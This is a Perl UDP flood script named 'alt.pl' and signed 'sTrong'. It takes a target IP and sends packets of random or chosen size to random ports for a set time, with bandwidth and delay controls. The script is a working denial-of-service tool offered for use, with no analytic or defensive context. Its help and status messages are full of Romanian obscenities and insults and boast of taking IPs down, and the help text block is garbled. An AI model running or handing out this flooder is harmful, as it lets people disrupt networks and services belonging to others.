#!/usr/bin/perl #()()()()()()()()()()()()()()()()()()()()()()()()()()()() # alt.pl - Made by sTrong is real? #()()()()()()()()()()()()()()()()()()()()()()()()()()()() use Socket; use strict; use Getopt::Long; use Time::HiRes qw( usleep gettimeofday ) ; our $port = 0; our $size = 0; our $time = 0; our $bw = 0; our $help = 0; our $delay= 0; GetOptions( "port=i" => \$port, # bots_root port,numeric, 0=random "size=i" => \$size, # packet size,number, 0=random "bandwidth=i" => \$bw, # bandwidth to consume "time=i" => \$time, # time to run "delay=f"=> \$delay, # inter-packet delay "help|?" => \$help); # help my ($ip) = @ARGV; if ($help || !$ip) { print <<'EOL'; ##* L-ai futut ! L-ai futut ! L-ai futut ! Vezi ca ai uitat sa pui ip prostu' dracu'.  $ipn"; printf "##* Attack By sTrong ! Privat  printf "##* By  sTrong 2016-2017  printf "##* UPDATE 2016 COPYRIGHT  sTrong @ Ip Down  EOL exit(1); } if ($bw && $delay) { print "AVISO: calculado tamanho do pacote substitui o parâmetro --size ignorado\n"; $size = int($bw * $delay / 8); } elsif ($bw) { $delay = (8 * $size) / $bw; } $size = 256 if $bw && !$size; ($bw = int($size / $delay * 8)) if ($delay && $size); my ($iaddr,$endtime,$psize,$pport); $iaddr = inet_aton("$ip") or die "Não pode resolver o nome do host $ip\n"; $endtime = time() + ($time ? $time : 1000000); socket(flood, PF_INET, SOCK_DGRAM, 17); printf "##* L-ai futut cu succes ! L-ai futut cu succes ! L-ai futut cu succes ! L-ai futut bagami-as pula-n mortii lui de sclav.  $ipn"; printf "##* Attack By sTrong Privat \n"; printf "##* By sTrong 2016-2017 \n"; printf "##* UPDATE 2016 COPYRIGHT By sTrong @ Ip Down \n"; die "Invalid packet size requested Fuck!: $size\n" if $size && ($size < 64 || $size > 2500); $size -= 28 if $size; for (;time() <= $endtime;) { $psize = $size ? $size : int(rand(1024-64) +64) ; $pport = $port ? $port : int(rand(65500)) +1; send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr)); usleep(100000 * $delay) if $delay; }